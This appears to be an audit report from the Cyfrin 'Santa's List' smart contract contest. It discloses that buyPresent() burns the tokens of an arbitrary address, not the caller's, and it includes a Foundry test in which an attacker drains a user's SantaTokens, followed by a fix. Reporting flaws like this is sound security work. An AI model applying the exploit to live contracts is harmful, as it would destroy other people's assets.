First Flight #5: Santa's List

Summary

Inside buyPresent() i_santaToken.burn() is called with presentReceiver parameter instead of msg.sender.
This makes possible to drain any account that is passed as parameter to buyPresent.

Vulnerability Details

SantaToken.burn method is able to burn tokens of any user. There is no need to set allowance for this.
Thus, if burn method is called from SantaList.buyPresent and parameter freely set from function argument, it can be used to drain any user account.

https://github.com/Cyfrin/2023-11-Santas-List/blob/main/src/SantasList.sol#L173

Test case provided to demonstrate the issue:

function testBuyPresent() public {
vm.startPrank(santa);
santasList.checkList(user, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(user, SantasList.Status.EXTRA_NICE);
vm.stopPrank();

vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);

vm.startPrank(user);
santasList.collectPresent();
vm.stopPrank();

address attacker = makeAddr("attacker");
vm.startPrank(attacker);
santasList.buyPresent(user);
assertEq(santasList.balanceOf(attacker), 1);
assertEq(santaToken.balanceOf(user), 0);
vm.stopPrank();

}

Impact

SantaToken for any account can be burned by any user. User in its turn will receive present free of charge.

Tools Used

Foundry

Recommended Mitigation

Burn tokens of msg.sender instead of presentReceiver:

function buyPresent(address presentReceiver) external {
i_santaToken.burn(msg.sender);
_mintAndIncrement();
}